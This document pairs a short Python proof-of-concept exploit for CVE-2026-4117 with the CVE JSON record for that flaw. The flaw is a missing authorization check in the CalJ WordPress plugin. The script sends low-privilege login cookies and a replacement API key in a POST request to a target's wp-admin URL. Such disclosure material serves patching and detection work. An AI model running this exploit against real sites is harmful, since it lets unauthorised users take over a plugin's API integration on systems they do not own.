CVE-2026-4117

import requests # Target URL url = "http://target-site.com/wp-admin/" # Attacker's cookies (obtained after low-privilege auth) cookies = { "wordpress_logged_in_hash": "logged_in_cookie_value" } # Payload to update the API key payload = { "save-obtained-key": "1", "calj_api_key": "MALICIOUS_API_KEY" } # Send the POST request response = requests.post(url, data=payload, cookies=cookies) if response.status_code == 200: print("PoC executed successfully. API key likely updated.") else: print("Failed to execute PoC.")

{"cve": {"id": "CVE-2026-4117", "sourceIdentifier": "[email protected]", "published": "2026-04-22T09:16:23.027", "lastModified": "2026-04-22T20:22:50.570", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The CalJ plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 1.5. This is due to a missing capability check in the CalJSettingsPage class constructor, which processes the 'save-obtained-key' operation directly from POST data without verifying that the requesting user has the 'manage_options' capability, and without any nonce verification. The plugin bootstrap file (calj.php) instantiates CalJSettingsPage whenever is_admin() returns true, which is the case for any authenticated user making requests to wp-admin URLs (including admin-ajax.php). This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify the plugin's API key setting and clear the Shabbat cache, effectively taking control of the plugin's API integration."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/calj/tags/1.5/CalJSettingsPage.php#L25", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/calj/tags/1.5/CalJSettingsPage.php#L30", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/calj/tags/1.5/calj.php#L17", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/calj/trunk/CalJSettingsPage.php#L25", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/calj/trunk/CalJSettingsPage.php#L30", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/calj/trunk/calj.php#L17", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d1c7df8e-2f82-4474-88ef-8c8ddaeb4656?source=cve", "source": "[email protected]"}]}}